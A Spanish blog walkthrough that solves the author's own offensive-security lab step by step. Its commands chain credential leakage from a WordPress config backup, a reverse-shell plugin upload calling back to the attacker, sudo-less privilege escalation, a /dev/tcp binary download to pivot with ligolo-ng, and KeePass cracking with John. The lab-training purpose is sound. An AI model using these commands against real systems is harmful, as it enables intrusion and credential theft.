Introducción

Tras la configuración en artículos anteriores del laboratorio se va a proceder a su resolución paso a paso.

Solución del entorno

Ahora, para participar en la resolución del entorno será necesario desplegar una máquina virtual con un sistema operativo como Kali Linux con una interfaz de red conectada a la red NatNetwork creada anteriormente con el archivo OpenVPN .ovpn para conectarse a la red del laboratorio. Nos conectamos a la VPN.

$ sudo openvpn OpenVPN_Lab_client1.ovpn
UDPv4 link remote: [AF_INET]10.0.0.3:1194
[OpenVPN Lab Server] Peer Connection Initiated with [AF_INET]10.0.0.3:1194
TUN/TAP device tun0 opened
net_iface_mtu_set: mtu 1500 for tun0
net_iface_up: set tun0 up
net_addr_v4_add: 100.100.100.2/24 dev tun0
Initialization Sequence Completed

Comprobamos que se ha establecido la ruta 192.168.0.0/24, por lo que escaneamos esa subred.

$ ip r
default via 10.0.0.1 dev eth0 proto dhcp src 10.0.0.5 metric 104 
10.0.0.0/24 dev eth0 proto kernel scope link src 10.0.0.5 metric 104 
100.100.100.0/24 dev tun0 proto kernel scope link src 100.100.100.2 
192.168.0.0/24 via 100.100.100.1 dev tun0
$ nmap -sn 192.168.0.0/24
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 192.168.0.2
Host is up (0.0056s latency).
Nmap done: 256 IP addresses (1 host up) scanned in 4.10 seconds

Encontramos una máquina con la dirección IP 192.168.0.2, por lo que realizamos un escaneo más avanzado analizando los puertos abiertos y sus versiones.

$ nmap -sV -sC 192.168.0.2
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 192.168.0.2
Host is up (0.027s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.0p2 Debian 7 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.65 ((Debian))
|_http-server-header: Apache/2.4.65 (Debian)
| http-robots.txt: 1 disallowed entry 
|_/wp-admin/
|_http-title: Blog
|_http-generator: WordPress 6.9
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.59 seconds

Encontramos una máquina servidor web que dispone de un servicio SSH accesible y un servicio HTTP que hospeda un blog de WordPress. Al no disponer de las credenciales del servidor SSH vamos a enumerar el servicio WordPress con la herramienta WPScan.

$ wpscan --url http://192.168.0.2
...
[i] Config Backup(s) Identified:

[!] http://192.168.0.2/wp-config.php.bak
 | Found By: Direct Access (Aggressive Detection)
...

La herramienta ha encontrado una copia del archivo de configuración de WordPress wp-config.php, en el archivo wp-config.php.bak, lo examinamos.

$ curl http://192.168.0.2/wp-config.php.bak
...
// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', getenv_docker('WORDPRESS_DB_NAME', 'wordpress') );

/** Database username */
define( 'DB_USER', getenv_docker('WORDPRESS_DB_USER', 'server') );

/** Database password */
define( 'DB_PASSWORD', getenv_docker('WORDPRESS_DB_PASSWORD', '!!Hd!Hm2w11Clg&m#^') );
...

Encontramos una configuración de WordPress basada en Docker y encontramos unas credenciales escritas directamente en el archivo, con el usuario server y la contraseña !!Hd!Hm2w11Clg&m#^. Comprobamos sin éxito que no son las credenciales para iniciar sesión utilizando el protocolo SSH.

$ ssh server@192.168.0.2
...
server@192.168.0.2's password: 
Permission denied, please try again.

Enumeramos el usuario wpadmin utilizando la herramienta WPScan.

$ wpscan --url http://192.168.0.2 -e u
...
[+] wpadmin
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://192.168.0.2/wp-json/wp/v2/users/?per_page=100&page=1
 |  Rss Generator (Aggressive Detection)
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

Comprobamos que es posible acceder al panel de administración de WordPress http://192.168.0.2/wp-admin utilizando la contraseña encontrada y el usuario wpadmin. Teniendo ahora acceso de administrador al sitio, podemos conseguir una ejecución remota de comandos en la máquina mediante la subida un un complemento malicioso con un archivo .php que despliegue una terminal inversa. Utilizaremos, por ejemplo, el plugin Contact Form 7.

$ wget https://downloads.wordpress.org/plugin/contact-form-7.6.1.4.zip
$ cp /usr/share/webshells/php/php-reverse-shell.php .
$ sed -i 's/127.0.0.1/100.100.100.2/' php-reverse-shell.php
$ mkdir contact-form-7
$ mv php-reverse-shell.php contact-form-7
$ 7z a contact-form-7.6.1.4.zip contact-form-7

Iniciamos el puerto de escucha en nuestra máquina para recibir la terminal inversa con el comando nc -nvlp 1234 y subimos el plugin desde Plugins > Add Plugin > Upload Plugin. Tras la instalación activaremos el plugin y ejecutaremos el archivo .php desde consola.

$ curl 'http://192.168.0.2/wp-content/plugins/contact-form-7/php-reverse-shell.php'

Recibimos una terminal inversa como el usuario www-data.

$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [100.100.100.2] from (UNKNOWN) [192.168.0.2] 58898
Linux e310ba85af9b 6.12.57+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.57-1 (2025-11-05) x86_64 GNU/Linux
 00:14:39 up 50 min,  0 users,  load average: 0.12, 0.81, 0.87
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU  WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ bash -i

Comprobamos que la máquina se encuentra aislada mediante un contenedor de la máquina principal. Podemos enumerar sus variables de entorno.

www-data@e310ba85af9b:/$ env
...
WORDPRESS_DB_PASSWORD=iEX8VxWG5J0zdYfhXikT
...
WORDPRESS_DB_HOST=db
...
AUTOMATION_TOKEN=yingyang
WORDPRESS_DB_NAME=wordpress
...

Encontramos la contraseña de la base de datos de WordPress, iEX8VxWG5J0zdYfhXikT y una variable no usual, AUTOMATION_TOKEN, con el valor yingyang. Se descubre posteriormente que es la contraseña del usuario server para acceder a la máquina principal utilizando el protocolo SSH.

$ ssh server@192.168.0.2                                   
server@192.168.0.2's password: 
...
server@vm1:~$ id
uid=1000(server) gid=1000(server) groups=1000(server),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev)
server@vm1:~$ sudo -l
Matching Defaults entries for server on vm1:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User server may run the following commands on vm1:
    (root) NOPASSWD: /usr/bin/less /var/log/installer/syslog

Observamos que podemos elevar nuestros privilegios hacia el usuario root ya que podemos ejecutar el comando less como ese usuario mediante la apertura de una terminal con el comando !bash -i.

server@vm1:~$ sudo /usr/bin/less /var/log/installer/syslog
!bash -i
root@vm1:/home/server# id
uid=0(root) gid=0(root) groups=0(root)

Observamos que en la máquina existen dos interfaces de red, estando la segunda en la subred 172.16.0.0/24.

root@vm1:/home/server# ip a
...
3: enp0s8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether a2:20:0e:a9:56:a8 brd ff:ff:ff:ff:ff:ff
    altname enxa2200ea956a8
    inet 172.16.0.2/24 brd 172.16.0.255 scope global dynamic noprefixroute enp0s8
       valid_lft 82075sec preferred_lft 71275sec
    inet6 fe80::7651:76be:4a3e:95a1/64 scope link 
       valid_lft forever preferred_lft forever
...

Utilizaremos la herramienta ligolo-ng para mapear esta subred en nuestra máquina y escanear otras máquinas para poder pivotar. Instalamos ligolo-ng y sus binarios, al no disponer de los binarios wget y curl en la máquina remota tendremos que utilizar otros métodos para poder descargarlo en la máquina remota e iniciamos el proxy.

$ sudo apt install ligolo-ng ligolo-ng-common-binaries
$ nc -nvlp 1235 < /usr/share/ligolo-ng-common-binaries/ligolo-ng_agent_0.8.2_linux_amd64
$ sudo ligolo-proxy -selfcert

Descargamos el binario en la máquina y ejecutamos el agente.

root@vm1:/home/server# cd
root@vm1:~# bash -c 'exec 3<>/dev/tcp/100.100.100.2/1235; cat <&3 > ligolo-ng_agent_0.8.2_linux_amd64; exec 3>&-'
^C
root@vm1:~# chmod +x ligolo-ng_agent_0.8.2_linux_amd64
root@vm1:~# ./ligolo-ng_agent_0.8.2_linux_amd64 -ignore-cert -connect 100.100.100.2:11601
WARN[0000] warning, certificate validation disabled     
INFO[0000] Connection established                        addr="100.100.100.2:11601"

Configuramos en el proxy la ruta en una nueva interfaz de red.

ligolo-ng » INFO[0007] Agent joined.                                 id=d009b6a269ce name=root@vm1 remote="192.168.0.2:49438"
ligolo-ng » 
ligolo-ng » session
? Specify a session : 1 - root@vm1 - 192.168.0.2:49438 - d009b6a269ce
[Agent : root@vm1] » autoroute
? Select routes to add: 172.16.0.2/24
? Create a new interface or use an existing one? Create a new interface
INFO[0028] Generating a random interface name...        
INFO[0028] Using interface name peacefulnegativ         
INFO[0028] Creating routes for peacefulnegativ...       
? Start the tunnel? Yes
INFO[0030] Starting tunnel to root@vm1 (d009b6a269ce)

Escaneamos la red desde nuestra máquina.

$ nmap -sS --top-ports 10 --open 172.16.0.1-10
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-10 01:03 UTC
Nmap scan report for 172.16.0.2
Host is up (0.032s latency).
Not shown: 8 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap scan report for 172.16.0.3
Host is up (0.035s latency).
Not shown: 8 closed tcp ports (reset)
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh

Nmap done: 10 IP addresses (10 hosts up) scanned in 2.95 seconds

Encontramos que el servidor 172.16.0.3 tiene el puerto FTP 21 abierto, por lo que podemos realizar un análisis más profundo ya que no tenemos credenciales para el servicio SSH.

$ nmap -p21 -sV -sC  172.16.0.3
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 172.16.0.3
Host is up (0.0022s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.0.8 or later

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.67 seconds

Observamos que utiliza vsftpd como servidor FTP, vamos a comprobar si el servidor admite credenciales anónimas, anonymous:anonymous.

$ ftp anonymous@172.16.0.3 
Connected to 172.16.0.3.
220 FTP Server
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||40008|)
150 Here comes the directory listing.
-rw-------    1 ftp      ftp          1710 passwords.kdbx
226 Directory send OK.

El inicio de sesión es satisfactorio y podemos lista un archivo en el servidor, una base de datos KeePass, passwords.kdbx. La vamos a extraer a nuestra máquina, vamos a intentar recuperar su contraseña utilizando la herramienta John the Ripper y el diccionario RockYou.

ftp> get passwords.kdbx
local: passwords.kdbx remote: passwords.kdbx
...
ftp> ^D
221 Goodbye.

$ keepass2john passwords.kdbx > passwords.hash
$ sudo gunzip -d /usr/share/wordlists/rockyou.txt.gz 
$ john --wordlist=/usr/share/wordlists/rockyou.txt passwords.hash
Created directory: /home/kali/.john
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 1000000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
vicecity         (passwords)     
1g 0:00:12:48 DONE 0.001301g/s 12.30p/s 12.30c/s 12.30C/s beans..vicecity
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Encontramos la contraseña de la base de datos, vicecity. Ahora podemos explorar la base de datos y sus contraseñas.

$ keepassxc-cli ls passwords.kdbx
Enter password to unlock passwords.kdbx: 
RootCreds

$ keepassxc-cli show passwords.kdbx RootCreds -s
Enter password to unlock passwords.kdbx: 
Title: RootCreds
UserName: root
Password: AdministratorDebianVM2
URL: 
Notes: 
Uuid: {e120c6a3-e601-4ede-835a-66d78b38e6a6}
Tags:

Encontramos la contraseña para el usuario root de la máquina AdministratorDebianVM2, aunque no podemos acceder utilizando la cuenta root mediante el protocolo SSH. Comprobamos que podemos iniciar sesión en la máquina utilizando el usuario server y la contraseña vicecity pudiendo pivotar posteriormente a la cuenta root.

$ ssh server@172.16.0.3     
server@172.16.0.3's password: 
...
server@vm2:~$ su root
Password: 
root@vm2:/home/server# id
uid=0(root) gid=0(root) groups=0(root)

Conclusión

Con este artículo se cierra la serie del despliegue de un laboratorio para la realización de un reto de seguridad ofensiva con el despliegue de la red, de sus máquinas virtuales y de su resolución paso a paso. Como siguientes pasos se puede utilizar la base elaborada para el despliegue de entornos a otros usuarios mediante VPN o para desplegar otro tipo de máquinas virtuales manteniendo la configuración realizada en la parte del despliegue de la red con OPNsense.